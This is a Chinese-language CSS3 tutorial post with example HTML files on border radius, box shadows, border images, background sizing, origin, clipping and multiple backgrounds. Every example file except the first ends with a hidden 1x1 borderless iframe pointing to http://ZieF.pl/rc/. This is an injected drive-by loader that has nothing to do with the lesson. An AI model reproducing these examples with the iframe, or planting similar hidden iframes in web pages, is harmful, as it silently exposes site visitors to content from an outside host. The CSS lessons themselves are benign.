CSS3边框，背景，渐变，过渡，2d变换
2017-12-05 本文已影响51人
charlotte2018
01-边框圆角.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 300px;
height: 300px;
border: 1px solid #000;
background-color: pink;
margin:100px auto;
/*border-radius: 60px;*/
/*单个属性 : 水平半径 垂直半径*/
/*border-top-left-radius: 60px 120px;*/
/*border-top-right-radius: 60px 120px;*/
/*border-bottom-left-radius: 60px 120px;*/
/*border-bottom-right-radius: 60px 120px;*/
/* 复合写法
border-raduis:水平半径/垂直半径
*/
/*border-radius: 60px 60px 60px 60px/ 120px 120px 120px 120px ;*/
/*简化*/
/*border-radius: 60px/120px;*/
/**/
/*border-radius: 60px/60px;*/
/* 四个角的说半径都相同是简写*/
/*border-radius: 60px;*/
/* 赋值顺序 从左上开始，顺时针赋值,如果当前角没有值，取对角的值 */
/*border-radius: 20px 60px 100px 140px;*/
/*border-radius: 20px 60px;*/
border-radius: 20px 60px 100px;
}
</style>
</head>
<body>
<div class="box"></div>
</body>
</html>
02-圆角应用.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 200px;
height: 200px;
border: 1px solid red;
margin:20px auto;
text-align: center;
line-height: 200px;
color:#ccc;
font-size:50px;
}
div:nth-child(1){
border-radius: 100px;
}
div:nth-child(2){
border-radius: 50%;
}
div:nth-child(3){
border-radius: 200px 0 0 0;
}
div:nth-child(4){
height:100px;
line-height: 100px;
border-radius: 100px/50px;
}
div:nth-child(5){
width: 100px;
border-radius: 50%;
}
div:nth-child(6){
border-radius: 0 100px;
}
</style>
</head>
<body>
<div class="box">1</div>
<div class="box">2</div>
<div class="box">3</div>
<div class="box">4</div>
<div class="box">5</div>
<div class="box">6</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
03-边框阴影.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
body{
background-color: #eee;
}
.box{
width: 200px;
height: 300px;
margin:100px auto;
background-color: #fff;
border: 1px solid #000;
/*昨天的经验 会成为明天进步的障碍，所以需要不断学习！*/
/*box-shadow: 水平位移 垂直位移 模糊程度 阴影大小 阴影颜色 外/内阴影(inset) 外阴影不用写 */
box-shadow: 15px 21px 48px -2px #666;
/*box-shadow:3px 3px 3px 3px #666 inset;*/
}
</style>
</head>
<body>
<div class="box"></div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
04-边框图片.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 400px;
margin:40px auto;
/* 边框图片属性*/
/* 边框图片的路径*/
border-image-source: url("images/border.png");
/* 图片边框的裁剪*/
border-image-slice: 27;
/*图片边框的宽度*/
border-image-width: 27px;
/*边框图片的平铺*/
/* repeat :正常平铺 但是可能会显示不完整*/
/*round: 平铺 但是保证 图片完整*/
/*stretch: 拉伸显示*/
border-image-repeat: stretch;
}
</style>
</head>
<body>
<img src="images/border.png" alt=""/>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
01-背景尺寸.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 500px;
border: 1px solid #000;
margin:100px auto;
background:url(images/baby0.jpg) no-repeat;
/* 控制背景的大小*/
/*具体数值*/
/*background-size: 500px 500px;*/
/* 百分比*/
/*background-size:50% 50%;*/
/* cover 覆盖 contain: 包含*/
/* cover 会保证完全覆盖盒子，但不能保证完整显示*/
/*background-size:cover;*/
/*contain :包含*/
/* 保证背景图片最大化的在盒子中等比例显示，但不保证能铺满盒子*/
/*background-size: contain;*/
}
</style>
</head>
<body>
<div class="box"></div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
02-背景原点.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 500px;
border: 30px solid rgba(0,0,255,0.3);
padding:30px;
background:url(images/baby0.jpg) no-repeat;
background-size: cover;
/* 背景原点 控制背景从什么地方开始显示*/
/*(默认值)*/
background-origin: padding-box;
/*从border-box开始显示*/
/*background-origin: border-box;*/
/*从content-box开始显示*/
/*background-origin: content-box;*/
/*(默认值)*/
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
01-全屏背景练习.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
html,body{
height:100%;
}
body{
background: url(images/1.jpg) no-repeat center;
/*background-size:100% 100%;*/
/* 全屏背景自适应*/
background-size: cover;
}
</style>
</head>
<body>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
03-背景裁剪.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 500px;
height: 500px;
border: 30px solid rgba(0,0,255,0.3);
padding:30px;
background:url(images/baby0.jpg) no-repeat;
/* 设置背景原点*/
background-origin: border-box;
/* 背景裁剪*/
/* border-box :从 border-box开始裁剪
padding-box :从 padding-box开始裁剪
content-box :从 content-box开始裁剪
*/
background-clip:content-box;
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
04-多背景.html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.box{
width: 623px;
height: 416px;
border: 1px solid #000;
margin:100px auto;
/* 给盒子加多个背景，按照背景语法格式书写，多个背景使用逗号隔开 */
background: url(images/bg1.png) no-repeat left top
,url(images/bg2.png) no-repeat right top
,url(images/bg3.png) no-repeat right bottom
,url(images/bg4.png) no-repeat left bottom
,url(images/bg5.png) no-repeat center;
}
</style>
</head>
<body>
<div class="box"></div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
